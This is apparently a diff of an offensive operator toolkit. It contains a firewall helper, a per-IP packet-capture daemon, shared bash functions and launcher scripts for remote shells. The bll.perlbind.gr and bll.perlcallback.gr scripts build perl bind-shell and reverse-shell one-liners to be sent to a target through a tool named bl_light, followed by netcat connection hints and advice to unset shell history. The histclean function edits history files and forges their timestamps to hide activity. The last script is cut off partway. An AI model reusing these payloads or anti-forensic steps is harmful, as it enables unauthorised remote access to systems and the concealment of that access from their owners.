def lo_remove_ip(ip):
lo_execute(ipt + '-t filter -D INPUT -i eth0 -p all -s ' + ip + ' -d ' + ext_ip + ' -j ACCEPT')
lo_execute(ipt + '-t filter -D OUTPUT -p all -s ' + ext_ip + ' -d ' + ip + ' -j ACCEPT')
# check if the local rules are set for http to communicate with
# the gateway
def lo_rules_set():
rules = lo_get_rules()
if re.search('0.0.0.0/0 +' + ext_ip + ' +tcp spt:80', rules) != None and \
re.search(ext_ip + ' +0.0.0.0/0 +tcp dpt:80', rules) != None:
return True
else:
return False
#########################################################
# Other Functions
#########################################################
def check_ipv4_fmt(ip):
if re.match('^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', ip) != None:
return True
else:
return False
def get_login():
global user
global password
if user == '':
user = lo_execute('perl -e \'require ' +
'"/current/down/hostvars.global";' +
'print "$gbl_opuser";\'')
if user == '':
user = raw_input('username: ')
if password == '':
password = lo_execute('perl -e \'require ' +
'"/current/down/hostvars.global";' +
'print "$gbl_oppasswd";\'')
if password == '':
password = getpass.getpass('password: ')
return (user, password)
def write_alarm(alarm_file, alarm_sleep_file, timeout_mins):
expires = time.ctime(time.time() + (timeout_mins * 60))
sleep_secs = (timeout_mins - 30) * 60
# build alarm_file
script = '#!/bin/sh\n'
script += '/bin/rm -f $0\n'
script += 'EXPIRES="' + expires + '"\n'
script += 'while [ 1 ]; do\n'
script += ' clear\n'
script += ' echo -e "\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\a"\n'
script += ' echo -e "Current time: `date`\\n\\n\\n"\n'
script += ' [ "$EXPIRES" ] && echo -e "EXPIRES time: $EXPIRES\\n\\n\\n"\n'
script += ' echo -e "Your firewall rules will expire in 30 minutes.\\n\\n"\n'
script += ' echo -e "If necessary, use \\"fwrules.py -t <timeout>\\" to re-set it,\\n"\n'
script += ' echo -e "or use the browser GUI to add more time.\\n\\n"\n'
script += ' echo -e "\\n\\n\\n\\n\\n\\n"\n'
script += ' echo "^C or close this window as desired, but this alarm has no snooze!"\n'
script += ' sleep 5\n'
script += 'done\n'
f = open(alarm_file, 'w')
f.write(script)
f.close()
# build alarm_sleep_file
script = '#!/bin/sh\n'
script += '/bin/rm -f $0\n'
script += 'chmod 0777 ' + alarm_file + '\n'
script += 'sleep ' + str(sleep_secs) + '\n'
script += 'exec xterm -ut +cm +cn -sk -sb -ls -title ALARM '
script += '-geometry 174x52-53+26 -bg white -fg red -e '
script += alarm_file + '\n'
f = open(alarm_sleep_file, 'w')
f.write(script)
f.close()
os.system('chmod 0777 ' + alarm_sleep_file)
def start_alarm(timeout):
kill_alarms('Alarm')
write_alarm('/tmp/Alarm.sh', '/tmp/AlarmSleep.sh', timeout)
os.system('/tmp/AlarmSleep.sh&')
def kill_alarms(alarm_grep):
ps_line = lo_execute('ps -ef | grep ' + alarm_grep + ' | egrep -v grep')
if len(ps_line) > 0:
lo_execute('pkill ' + alarm_grep)
def usage(prog):
prog = prog.split(os.sep)[-1]
print 'usage: ' + prog + ' [-t <timeout>] [-f content]'
print ' options:'
print ' -h show this help'
print ' -v print the version and exit'
print ' -d debug, print the commands being executed'
print ' -t <timeout> set the alarm timeout ['
print '\n'
#########################################################
# Main
#########################################################
def main():
global dbg
global ext_ip
global int_ip
global gw_ip
global logged_in
global duration
global user
global password
user = ''
password = ''
print_it = False
reset = False
clear = False
set = False
ipaddr = None
addrule = False
set_timeout = False
duration = TIMEOUT
logged_in = False
try:
opts, args = getopt.getopt(sys.argv[1:], 'hvdU:P:pscrt:A:D:')
except getopt.GetoptError, err:
print str(err)
usage(sys.argv[0])
sys.exit(1)
if len(opts) == 0:
usage(sys.argv[0])
sys.exit(1)
for o, a in opts:
if o == '-h':
usage(sys.argv[0])
sys.exit(0)
elif o == '-v':
print '%s version %s' % (sys.argv[0].split(os.sep)[-1], version)
sys.exit(0)
elif o == '-p':
print_it = True
elif o == '-r':
reset = True
elif o == '-A':
if ipaddr is not None:
print 'ERROR: either -A or -D can be specified, not both'
sys.exit(1)
ipaddr = a
addrule = True
elif o == '-D':
if ipaddr is not None:
print 'ERROR: either -A or -D can be specified, not both'
sys.exit(1)
ipaddr = a
addrule = False
elif o == '-d':
dbg = True
elif o == '-c':
clear = True
elif o == '-t':
if re.match('^\d+[mh]?$', a) is None:
print 'ERROR: bad timeout format'
sys.exit(1)
if a[-1] == 'm':
duration = a[:-1]
elif a[-1] == 'h':
duration = str(int(a[:-1]) * 60)
else:
duration = str(int(a) * 60)
if int(duration) > 480:
print 'ERROR: timeout max is 480m or 8h'
sys.exit(1)
set_timeout = True
elif o == '-s':
set = True
elif o == '-U':
user = a
elif o == '-P':
password = a
if (clear or set or reset) and not ((clear and not set and not reset) or
(not clear and set and not reset) or
(not clear and not set and reset)):
print 'ERROR: Only one of -s, -c, and -r can be specified'
sys.exit(1)
if lo_execute('uname -s').strip() != 'Linux':
print 'ERROR: This script is only meant to be run in Linux.'
sys.exit(1)
if ipaddr != None and not check_ipv4_fmt(ipaddr):
print 'ERROR: invalid IP address format'
sys.exit(1)
ext_ip = lo_get_ip('eth0')
if ext_ip is None:
print 'ERROR: Could not get IP address for eth0'
sys.exit(1)
int_ip = lo_get_ip('eth1')
if int_ip is None:
print 'ERROR: Could not get IP address for eth1'
sys.exit(1)
gw_ip = gw_get_ip()
if gw_ip is None:
print 'ERROR: Could not get IP address for the gateway'
sys.exit(1)
if clear:
print 'Removing firewall rules'
gw_clear_rules()
lo_clear_rules()
if print_it:
print gw_get_rules()
print lo_get_rules()
sys.exit(1)
if set or reset:
if reset:
print 'Removing firewall rules'
gw_clear_rules()
lo_clear_rules()
print 'Setting default firewall rules'
lo_set_default_rules()
gw_set_default_rules()
start_alarm(int(duration))
if ipaddr is not None and addrule and lo_rules_set():
print 'Allowing all traffic to/from ' + ipaddr
gw_get_rules()
gw_allow_ip(ipaddr)
lo_allow_ip(ipaddr)
elif ipaddr is not None and not addrule and lo_rules_set():
print 'Removing rule for ' + ipaddr
gw_get_rules()
gw_remove_ip(ipaddr)
lo_remove_ip(ipaddr)
if set_timeout:
gw_set_timeout()
start_alarm(int(duration))
if print_it:
print 'Local iptables rules:\n'
print lo_get_rules()
print 'Gateway firewall rules:\n'
print gw_get_rules()
gw_logout()
if __name__ == '__main__':
main()

319
Linux/bin/alwayspcap.pl Executable file
View file

@ -0,0 +1,319 @@
#!/usr/bin/env perl
use File::Basename ;
use File::Copy ;
require Time::Local;
require "getopts.pl";
$VER="1.1.0.2" ;
$outfile = "unixdump";
$outdir = "/home/black/tmp/pcaps";
mkdir $outdir unless -d $outdir;
$SIG{INT} = \&catch_zap;
$SIG{TERM} = \&catch_zap;
$delaysecs = 2;
myinit() ;
dbg("Fresh instance of $prog on $intf RESTART=$restart ourip=$ourip");
my %ipshit = ();
while (1) {
# Re-loop forever here. If between loops eth0 goes down, comes up,
# a new /current link is made, etc., we are good. That's what we want,
# is to always log on eth0, always to /current, do nothing if eth0 is
# not there.
$intf_info = `ifconfig $intf 2>/dev/null`;
($ourip) = $intf_info =~ /\sinet addr:(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s/;
unless ($intf_info =~ /UP /) {
last unless mastercheck();
# Have to remove this will fill up /current/tmp partition
# dbg("Interface $intf is not up....waiting $delaysecs secs trying again.");
sleep $delaysecs;
next;
}
# Start the ascii tcpdump to read from. We parse this
# and for each new IP we do not currently have a pcap
# running on, we fork and start one.
unless(open(TCPDUMP,"tcpdump -l -n -n -i $intf ip |")) {
last unless mastercheck();
# Have to remove this will fill up /current/tmp partition
# dbg("Could not start tcpdump on $intf, waiting a few seconds, trying again");
sleep $delaysecs;
next;
exit 1;
}
while (<TCPDUMP>) {
last unless mastercheck();
chomp;
# dbg("parsing:$_");
my $newip = "";
my $dbg="";
if (/ IP $ourip.* > (\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/) {
$newip = $1;
$dbg="found ours=$ourip > $newip";
} elsif ( / IP (\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}).* > $ourip/) {
$newip = $1;
$dbg="found $newip > ours=$ourip";
}
next unless $newip ;
next if $ipshit{$newip}++;
$tstamp = timestamp(short);
$capfile = "$outfile.${tstamp}_${newip}__${ourip}";
dbg("$dbg LINE=$_ THIS WILL START tcpdump -w to $capfile");
startdump($intf,$newip,$capfile,$_);
}
undef %ipshit;
dbg("KILLED/DYING:tcpdump -l -n -n -i $intf ip");
last unless mastercheck();
dbg("Looping around for more, set RESTART=die to kill me.");
}
mydie("exiting: end of main");
exit 0;
## END MAIN LOGIC
##### SUBROUTINES #####
sub mastercheck {
# We are done here if our $masterfile is gone,
# means theres a new master. This returns true
# if we ARE STILL THE MASTER.
return 1 if (-e $masterfile);
dbg("New master in town");
return 0;
}
sub startdump {
my $kidpid = fork;
return $kidpid if $kidpid;
# Child continues
local($intf,$newip,$capfile,$line) = (@_);
# We put the $line that our (ascii) tcpdump saw
# at top of the .info file.
# Give below time to start, we append to the .info file it created
if (open(OUT,">> $outdir/$capfile.info")) {
dbg("Writing to $capfile.info: ".timestamp() . " tcpdump -l -n -n -i $intf ip CAPTURED: $line");
print OUT "# ". timestamp() . " tcpdump -l -n -n -i $intf ip CAPTURED:\n".
"$line\n";
}
close(OUT);
# Start tcpdump. Odd: If we do not redirect stderr here, it ends up as first
# line of the -w output file, which breaks it.
# NOTE: exec a bit cleaner here. Code works either way, just have one
# extra perl process per tcpdump out there with system. But with system,
# we get to see the dbg of the unixdump ending if we care.
# system("tcpdump -i $intf -U -s0 -w $outdir/$capfile host $newip 2>>$outdir/$capfile.info");
exec("tcpdump -i $intf -U -s0 -w $outdir/$capfile host $newip 2>>$outdir/$capfile.info");
dbg("Child unixdump for $newip on $intf dying");
exit 0;
}
sub hostinit {
# Some one-off things we want done per host, good place for it while
# alwayspcap.pl lives on.
# TODO: If we replace alwayspcap.pl, put this in scrubhands? mabye...
unless (-f "/usr/local/sbin/linksfixed") {
foreach my $targetfile ("/usr/lib/libreadline.so") {
next unless (-f $targetfile or -l $targetfile);
my $str = basename($targetfile);
my @files = split(/\n/,`grep -l $str $opbin/*`);
my $newlib = "";
foreach my $file (@files) {
($newlib) = grep /$str.*not found/ , `ldd $file`;
next unless $newlib;
($newlib) = $newlib =~ /^\s*(\S+)\s/;
if ($newlib) {
`ln -sf $targetfile /usr/lib/$newlib`;
$created .= " ln -sf $targetfile /usr/lib/$newlib\n";
}
}
}
writefile("/usr/local/sbin/linksfixed",scalar gmtime()."\n".
"By alwayspcap. Created these links:\n$created\n");
}
}
sub myinit {
my $gotutils=0;
my $waitcount=1;
while (1) {
sleep 2 unless $waitcount < 2;
# Loop up to 4min, if no autoutils by then we die
foreach ("../etc/autoutils",
"/current/etc/autoutils",
"autoutils",
"NOTTHERE"
) {
if (-r $_) {
require $_ or next;
progprint("Sourcing $_",STDOUT)
if ($inlab and ! ("@ARGV" =~ /-\S*[hv]/i));
$gotutils++;
last;
}
}
if ($gotutils) {
sleep 3 unless $waitcount < 10;
mywarn("Just read in autoutils after $waitcount x 2 seconds")
unless length $ENV{RCLOCAL};
dbg("Just read in autoutils after $waitcount x 2 seconds");
last;
}
last if $waitcount++ > 120;
}
die("Could not find autoutils. Cannot run $0\n.")
unless $gotutils;
$| = 1;
hostinit();
$intf = $ENV{INTERFACE};
$restart = 1 if $ENV{RESTART};
$restart = 0 if $ENV{RESTART} eq "0";
$thendie = $ENV{RESTART} =~ /die/i;
$usagetextshort = setusagetext();
mydie("bad option(s)") if (! Getopts( "hv" ) ) ;
usage() if ($opt_h or $opt_v) ;
mydie("INTERFACE is not set") unless $intf or $thendie;
$intf_info = `ifconfig $intf 2>/dev/null`;
mydie("Invalid INTERFACE=$intf")
unless $intf or $thendie;
dbg("Got restart=$restart thendie=$thendie intf=$intf intf_info=$intf_info=");
# This is my master file, we only write it if we are master
# after removing all other master files first who will then
# know to die off.
$masterfile = "$outdir/alwayspcap.master.$$";
# Check if we are only or RESTART instance
my @otherpids = progalreadyrunning();
if (@otherpids) {
dbg("progalreadyrunning=(@otherpids)");
unless($restart) {
# If already running and RESTART= not set, we just exit
dbg("mydying quietly, $prog[@otherpids] already running");
mydie("dying quietly, $prog[@otherpids] already running");
exit 1 ;
dbg("NOT dying quietly TESTING ONLY");
} else {
`rm -f $outdir/alwayspcap.master*`;
my $s = "s" if @otherpids > 1;
my $perlpid = $otherpids[0];
mywarn("Killing other instance$s of ${prog}[@otherpids] to start anew")
unless length $ENV{RCLOCAL};
dbg("ps -ef | egrep \"unixdump|perl|pcap\"\n".`ps -ef | egrep "unixdump|perl|pcap" | grep -v grep`);
# Must kill tcpdumps run by @otherpids, sleep a bit, then if
# still there we kill @otherpids, then we can continue
# or if $thendie we just die not starting any new stuff
# ($thendie should be used in debugging only)
my @psoutput = `ps -efwwww | grep -v grep | egrep -v "root [ ]*$$"`;
my $toomany=0;
while (1) {
foreach (@psoutput) {
# Look here for only tcpdumps writing to unixdump,
# not the shells that spawned them.
next unless / (\d+) .*tcpdump .*-w.*unixdump.* host ([\d\.]*)/;
my ($pid,$ip) = ($1,$2);
my $exe = `ls -l /proc/$pid/exe 2>/dev/null`;
$exe =~ s/.* \-\> //g;
next unless $exe =~ m,tcpdump,;
dbg("Killing pid=$pid on ip=$ip exe=$exe: $_");
kill(TERM,$pid);
}
$toomany++;
@otherpids = progalreadyrunning();
dbg("In infinite otherpids loop (@otherpids)");
dbg("ps shows\n".`ps -ef |egrep "perl|tcpdu"`);
last unless @otherpids;
kill(TERM,@otherpids) if @otherpids;
sleep 1;
dbg("AFTER kill otherpids=(@otherpids) SHOULD EVENTUALLY BE EMPTY")
if @otherpids;
last if $toomany > 55;
}
mydie("VERY BAD: other $prog instances are still running even though this one just sent kill(TERM,@otherpids)")
if @otherpids;
}
}
@otherpids = ("none") unless @otherpids;
if ($thendie) {
dbg("Exiting after killing other instances if any");
mydie("Exiting after killing other instances if any");
}
# Now we touch $masterfile as we are it
mydie("BAD CANNOT WRITE TO MY MASTERFILE") unless open(OUT,">$masterfile");
print OUT "$$\n";
close(OUT);
# fork/exit so parent returns immediately
fork and exit 0;
# All prints from now on via dbg() only to dammit file
close(STDOUT);
close(STDERR);
close(STDIN);
# Set a few more things then continue
($ourip) = $intf_info =~ /\sinet addr:(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s/;
}
sub progalreadyrunning {
# ps grep out us print just pids
my @hits = split(/\n/,
`ps -efwwww | grep -v grep | grep "$prog" | egrep -v "root [ ]*$$" | awk '{print \$2}'`);
return @hits;
# return map { $_ =~ s/^\s*\S+\s+(\d+).*/\1/ },@hits;
}
sub catch_zap {
dbg("caught TERM, stopping capture on $intf to $capfile");
close(TCPDUMP);
if ($capfile) {
# sleep 5;
}
# exit 0;
} # end sub catch_zap
sub setusagetext {
return "
Usage: $prog [-h|-v]
OPTIONS: -h and -v show help and version, respectively.
With no options, and INTERFACE set to a valid interface, $prog
will daemonize and then run and parse a tcpdump on that interface.
(Unless another copy of $prog is running already, in which case
it exits quietly.) If the interface goes down, $prog will try
every few seconds to start again. So $prog can and will ALWAYS
run on the op box. Anytime the interface goes down or the tcpdump is
killed, the child process that started it will exit.
For every IP from which our INTERFACE receives traffic, a separate
tcpdump -w will be run in a child process collecting all raw data
from that IP. At the end of your op, getopdata will rename all of
these files to:
$outfile.SRCIP__OURIP.IP.TIMESTAMP.HOSTNAME.pcap
where SRCIP generated the traffic to our OURIP and IP.HOSTNAME is
the (first) PITCHIMPAIR host in opnotes.txt. (So it will only be put
in ONE pitchimpair's directory, not several if we switch pitches.)
The data files written to will be in $outdir and
initially called $outfile.SRCIP__OURIP.TIMESTAMP. Whatever
/current points to is where the capture files will be generated
(i.e., always in /current/down).
It first checks in /proc for another instance of $prog, and
does nothing if one is already running. Or set the RESTART= variable,
and $prog will first kill the running instance and all its
tcpdump children, then start a fresh instance. This will stop all
previous capture files (potentially in an old /current after scrubhands
was just run), allowing the new instance to start fresh files in the
new /current/down. scrubhands runs \"RESTART=yes $prog\" every
time it starts a new session.
";
}

BIN
Linux/bin/apache-ssl-linux Executable file

Binary file not shown.

BIN
Linux/bin/apache-ssl-linux_v2 Executable file

Binary file not shown.

BIN
Linux/bin/apache-ssl-linux_v3 Executable file

Binary file not shown.

View file

@ -0,0 +1,16 @@
#!/bin/sh
VER=1.0.0.1
[ "$1" = "-v" ] && echo $0 v.$VER && exit
echo "$1" | grep -q "/" || ( echo -e "
Usage: $0 NOPEN_NAME_WITH_SLASHES
$0 creates the right directories for you.
Namely: ../down/DIRNAME ../down/history/DIRNAME and ../down/cmdout/DIRNAME
$0 v.$VER
" && exit)
export DIRNAME=`dirname $1`
#echo running:
#echo " mkdir -pv /current/down/$DIRNAME /current/down/{history,cmdout}/$DIRNAME"
mkdir -pv /current/down/$DIRNAME /current/down/{history,cmdout}/$DIRNAME

BIN
Linux/bin/b Executable file

Binary file not shown.

187
Linux/bin/bashfunctions Executable file
View file

@ -0,0 +1,187 @@
#!/bin/bash -m
# bashfunctions is run via source (or ".").
# It defines a bunch of variables and functions for the calling script.
# It also does a few things only when sourced by scrubhands.
BASHFUNCTIONSVER=1.0.0.1
PROG=`basename ${0}`
TOOLS=bin
DOWN=down
TEXTS=etc
DOC=doc
UP=up
MAILDIR=mailpull
COMMANDSDIR=targetcommands
if [ "$PROG" = "scrubhands" ] && [ "`echo \"$*\" | grep -- -G`" ] ; then
TESTGETOPDATA=yes
TOP=/tmp
fi
# Set TOP if not set, to either /current link if there or /tmp
if [ ! "$TOP" ] ; then
TOP=/current
[ -L /current ] || TOP=/tmp
fi
OS=`uname -s`
if [ "$OS" = "Linux" ]; then
MINUSN=-n
else
MINUSN=""
fi
OSVERSION=`uname -r`
[ "$TOP" ] || TOP=/home/black/tmp
[ "$PUBLICETHER" ] || PUBLICETHER=eth0
[ "$PRIVATEETHER" ] || PRIVATEETHER=eth1
[ "$DATE" ] || DATE=.
histclean() {
HISTCLEAN=""
TMPHIST=/tmp/.h.$$
DOFILES="$* `ls /.*history /*/.*history /*/*/.*history 2>/dev/null`"
for F in $DOFILES ; do
[ -f "$F" ] || continue
egrep -q "shutdown|reboot|halt|init 0" $F || continue
egrep -v "shutdown|reboot|halt|init 0" $F > $TMPHIST
touch -r $F $TMPHIST
cat $TMPHIST > $F
touch -r $TMPHIST $F
HISTCLEAN="$HISTCLEAN $F"
done
[ "$HISTCLEAN" ] && notered "Cleaned #shutdown|reboot|halt|init 0# lines from $HISTCLEAN"
rm -f $TMPHIST
unset TMPHIST HISTCLEAN DOFILES
}
fixpath() {
# Take any number of PATHs or PATH variables as input,
# Return/echo one in that order with no duplicates (via echo, so use
# backticks or other redirection to take the return value and use it).
# Spaces in any individual PATH entry will be lost, do not do that.
# However, along the way, we:
# Remove all trailing slashes
# Make all slashes single
# Skip . and ./ and any that start with ../
export NEWPATH=
unset DONEFIRST
echo -n PATH=
# echo $* | sed "s,//*,/,g" | \ # Make all slashes single
# sed "s/PATH=//g" | \ # Get rid of PATH= if there
# tr ":" " " | \ # Change all : to a space
# tr " " "\n" | \ # Put one path per line
# while read P # Define P once per path
echo $* | sed "s,//*,/,g" | sed "s/PATH=//g" | tr ":" " " | tr " " "\n" | while read P ; do
# Remove all trailing slashes
P=`echo $P | sed "s,/*$,,g"`
echo :$NEWPATH: | grep -q ":$P:" && continue
# Skip . and ./ and any that start with ../
[ "$P" = "." -o "$P" = "./" ] && continue
[ "$P" = ".." -o "${P:0:3}" = "../" ] && continue
NEWPATH=$NEWPATH:$P
[ "$DONEFIRST" ] && echo -n :
echo -n $P
DONEFIRST=done
done
echo
}
ColorsOff() {
unset COLOR_SUCCESS
unset COLOR_FAILURE
unset COLOR_WARNING
unset COLOR_NORMAL
unset COLOR_NOTE
unset SETCOLOR_SUCCESS
unset SETCOLOR_FAILURE
unset SETCOLOR_WARNING
unset SETCOLOR_NORMAL
unset SETCOLOR_NOTE
}
PreserveFile() {
# Save off $1 if it exists as $1.duplicate.TIMESTAMP.
# If $2 given, save at most that many dupes.
[ "$1" ] || return
[ -e $1 ] || return
MYDATE=`date -u +%Y%m%d%H%M%S`
# Make sure we only have digits in KEEP
MYKEEP=`echo $2 | sed "s/[^0-9]//g"`
if [ "$MYKEEP" ] ; then
MYCOUNT=1
ls -1t $1.DUPLICATE* |
while read name ; do
[ $((MYCOUNT++)) -ge $MYKEEP ] || continue
rm -f $name
done
fi
mv $1 $1.DUPLICATE.$MYDATE
unset MYDATE MYKEEP MYCOUNT
}
note() {
unset N
if [ "$1" = "-n" ] ; then
N=$1
shift
fi
echo -e $N "$COLOR_NOTE${*}$COLOR_NORMAL"
}
notered() {
unset N EXIT
[ "$1" = "exit" ] && EXIT=1 && shift
if [ "$1" = "-n" ] ; then
N=$1
shift
fi
echo -e $N "$COLOR_FAILURE${*}$COLOR_NORMAL"
[ "$EXIT" ] && exit
}
usage() {
unset EXIT
[ "$1" = "exit" ] && EXIT=1 && shift
if [ "$1" = "-h" -a "$usagetext" ] ; then
shift
echo -e "$usagetext"
fi
# We want -v output to be just two digits, so scrubver is #.#
# and suitever can have whole #.#.#.# in it.
if [ "$1" = "-v" -o "$1" = "-h" ] ; then
if [ ! "$VER" -a "$SCRUBVER" ] ; then
echo "$PROG version $SCRUBVER"
elif [ "$VER" ] ; then
echo "$PROG version $VER"
else
echo "$PROG -- unknown version number"
fi
shift
fi
ERRSTR="${*}"
if [ "$ERRSTR" ] ; then
notered "\a${ERRSTR}"
fi
[ "$EXIT" ] && exit
} # end usage
COLOR_SUCCESS="\\033[1;32m"
COLOR_FAILURE="\\033[1;31m"
COLOR_WARNING="\\033[1;33m"
COLOR_NORMAL="\\033[0;39m"
COLOR_NOTE="\\033[0;34m"
SETCOLOR_SUCCESS="echo -en $COLOR_SUCCESS"
SETCOLOR_FAILURE="echo -en $COLOR_FAILURE"
SETCOLOR_WARNING="echo -en $COLOR_WARNING"
SETCOLOR_NORMAL="echo -en $COLOR_NORMAL"
SETCOLOR_NOTE="echo -en $COLOR_NOTE"

11
Linux/bin/beeps Executable file
View file

@ -0,0 +1,11 @@
#!/bin/sh
exec 1>&2
I=5
[ "$1" ] && [ $1 -gt 0 ] && I=$1
for ((i=1 ; i<=$I ; i++)) ; do
echo -en "\a"
usleep 200000
echo -en "\a"
usleep 200000
usleep 300000
done

BIN
Linux/bin/bl_light Executable file

Binary file not shown.

142
Linux/bin/bll.perlbind.gr Executable file
View file

@ -0,0 +1,142 @@
#!/bin/sh
VER=1.0.0.1
##########################################################
### Generate & run the following scripts:
### - script to upload grinch on target (gr_upload.scr)
### - script to upload gr_upload.scr (initial_upload.scr)
### - run grins/frowns/whatever using the above scripts
##########################################################
# Some default values
SCRIPT="/tmp/.t"
DIR="/tmp/.X11R6"
CALLBACK_PORT=32177
PROGNAME=`basename $0`
# Listener respawns for ten minutes
BURNAT=600
usage() {
echo $PROGNAME v.$VER
[ "$1" = "v" ] && exit 1
cat <<EOF
$PROGNAME uses bl_light to start a listener on the remote target. A long
perl command is sent up that allows interactivity to the remote system
via that listener. When one session to the listener dies, a fresh
listener will be started. This behavior continues for $BURNAT seconds,
when the perl exits completely (though an established session will stay
live until you exit or kill it).
Once the listener is on the target, connect to it via netcat and you will
in an interactive shell (though without a prompt).
Usage: ${0} [options]
-i <target ip> (required)
-l <callback ip> (required)
-P /path (path perl lives in, defaults to searching \$PATH)
EOF
[ "$*" ] && echo -e "\a\n\nERROR: $*\n"
exit 1
}
# There must be at least one argument
if [ ${#} -eq 0 ]; then
usage
fi
#
# Process args
#
while getopts i:p:hvl:P: op; do
case $op in
h|v) usage $op;;
i) TARGET_IP="$OPTARG";;
l) CALLBACK_IP="$OPTARG";;
p) TARGET_PORT="$OPTARG";;
P) PERLPATH="$OPTARG/";;
esac
done
cmdFlag="-c"
shift `expr $OPTIND - 1`
# Check for required args
[ -z "$TARGET_IP" ] && echo "Error: missing remote IP -i argument" && usage
[ -z "$TARGET_PORT" ] && echo "Error: missing remote port -p argument" && usage
if [ ! "${PERLPATH:0:1}" = "/" ] ; then
usage "-P argument \"$PERLPATH\" must start with /"
fi
PERLPATH=`echo "$PERLPATH" | sed "s,//,/,g"`
PERLLEN=`echo -n $PERLPATH | wc -c`
PERLLEN=$((PERLLEN-4))
PERLTEST=${PERLPATH:$PERLLEN}
if [ "$PERLTEST" = "perl" ] ; then
echo -e "Your path (-P) argument ends in \"perl\", so we will be running:\n\n"
echo -e " $PERLPATH/perl\n\n"
echo -en "^C to abort now if that is wrong, or hit return to continue. "
read blah
fi
if [ "${TARGET_IP:0:3}" = "127" ] ; then
echo -e "For your NOPEN tunnel window:\n\nl $TARGET_PORT TARGET_IP\n"
fi
# This exec one is silly...that would start a second
# listener AFTER we connect
#RUN_WHAT="fork or exec \"/bin/sh\""
RUN_WHAT="system \"/bin/sh\""
#CMD="/sbin/sh -c (perl -MIO -e 'if (\$k=fork){\$i=$BURNAT;while(\$i--){sleep 1};kill(9,\$k);exit}chdir(\"/tmp\");while(\$c=new IO::Socket::INET(LocalPort,$TARGET_PORT,Reuse,1,Listen)->accept){\$~->fdopen(\$c,w);STDIN->fdopen(\$c,r);STDERR->fdopen(\$c,w);$RUN_WHAT}')&"
CMD="/bin/sh -c \\\"${PERLPATH}perl -MIO -e 'use IO::Socket::INET;if (\\\$k=fork){\\\$i=$BURNAT;while(\\\$i--){sleep 1};kill(9,\\\$k);exit}chdir(\"/tmp\");while(\\\$c=new IO::Socket::INET(LocalPort,$TARGET_PORT,Reuse,1,Listen)->accept){\\\$~->fdopen(\\\$c,w);STDIN->fdopen(\\\$c,r);STDERR->fdopen(\\\$c,w);$RUN_WHAT}'\\\""
CMD="${PERLPATH}perl -MIO -e 'use IO::Socket::INET;if (\\\$k=fork){\\\$i=$BURNAT;while(\\\$i--){sleep 1};kill(9,\\\$k);exit}chdir(\"/tmp\");while(\\\$c=new IO::Socket::INET(LocalPort,$TARGET_PORT,Reuse,1,Listen)->accept){\\\$~->fdopen(\\\$c,w);STDIN->fdopen(\\\$c,r);STDERR->fdopen(\\\$c,w);$RUN_WHAT}'&"
#CMD=`echo "$CMD" | sed "s/\$/\\\$/g"`
#CMD=`echo "$CMD" | sed "s/\$/\\\$/g"`
echo -e "perl listener command will be: +$CMD+"
#usage "FATAL: Could not get this perlbind version to work right yet.\n Try either bll.telnet.gr or bll.perlcallback.gr."
cat <<EOF
About to run this (but do NOT try pasting this...something wrong escapes-wise....):
bl_light ${TARGET_IP} "$CMD"
You can abort here with ^C, hit return to continue.
EOF
read blah
echo "now running: "
./bl_light ${TARGET_IP} "$CMD"
echo -e "\n\nYou may want this now:\n\nnc $TARGET_IP $TARGET_PORT\n\n"
echo "Thank you for playing"
cat <<EOF
These might come in handy:
unset HISTFILE
unset HISTFILESIZE
unset HISTSIZE
w
id
uname -a
ls -la /boot
mkdir /tmp/.scsi;cd /tmp/.scsi;pwd
which uudecode uncompress
# gedit sendmail
uudecode; ls -la
EOF

136
Linux/bin/bll.perlcallback.gr Executable file
View file

@ -0,0 +1,136 @@
#!/bin/sh
VER=1.0.0.1
##########################################################
### Generate & run a shell callback (via perl) on target.
##########################################################
# Some default values
CALLBACK_PORT=`mkrandom -n 2>/dev/null`
[ "$CALLBACK_PORT" ] || CALLBACK_PORT=32177
PROGNAME=`basename $0`
usage() {
echo $PROGNAME v.$VER
[ "$1" = "v" ] && exit 1
cat <<EOF
$PROGNAME uses bl_light to start a callback on the remote target
using its perl (to include IO::Socket::INET). A perl command is shown to
you, and if you do not abort it is sent up via bl_light. The perl, if
executed, will cause an interactive /bin/sh shell to call back to the
callback IP and port.
Prior to sending the exploit, you should run this locally in a
scripted window:
doublet CALLBACK_PORT
Usage: ${0} [options]
-i <target ip> (required)
-l <callback ip> (required)
-p <callback port> (random by default)
-P /path (path perl lives in, defaults to searching \$PATH)
EOF
[ "$*" ] && echo -e "\a\n\nERROR: $*\n"
exit 1
}
# There must be at least one argument
if [ ${#} -eq 0 ]; then
usage
fi
#
# Process args
#
while getopts i:p:hvl:P: op; do
case $op in
h|v) usage $op;;
i) TARGET_IP="$OPTARG";;
l) CALLBACK_IP="$OPTARG";;
p) CALLBACK_PORT="$OPTARG";;
P) PERLPATH="$OPTARG/";;
esac
done
cmdFlag="-c"
shift `expr $OPTIND - 1`
# Check for required args
[ -z "$TARGET_IP" ] && echo "Error: missing remote IP -i argument" && usage
[ -z "$CALLBACK_PORT" ] && echo "Error: missing remote port -p argument" && usage
if [ ! "${PERLPATH:0:1}" = "/" ] ; then
usage "-P argument \"$PERLPATH\" must start with /"
fi
PERLPATH=`echo "$PERLPATH" | sed "s,//,/,g"`
PERLLEN=`echo -n $PERLPATH | wc -c`
PERLLEN=$((PERLLEN-4))
PERLTEST=${PERLPATH:$PERLLEN}
if [ "$PERLTEST" = "perl" ] ; then
echo -e "Your path (-P) argument ends in \"perl\", so we will be running:\n\n"
echo -e " $PERLPATH/perl\n\n"
echo -en "^C to abort now if that is wrong, or hit return to continue. "
read blah
fi
if [ "${TARGET_IP:0:3}" = "127" ] ; then
echo -e "For your NOPEN tunnel window:\n\nr $CALLBACK_PORT\n"
fi
echo -e "For the shell callback (doublet requires a scripted window)"
echo -e "\n doublet $CALLBACK_PORT\n"
# Listener respawns for ten minutes
RUN_WHAT="exec \\\"/bin/sh\\\""
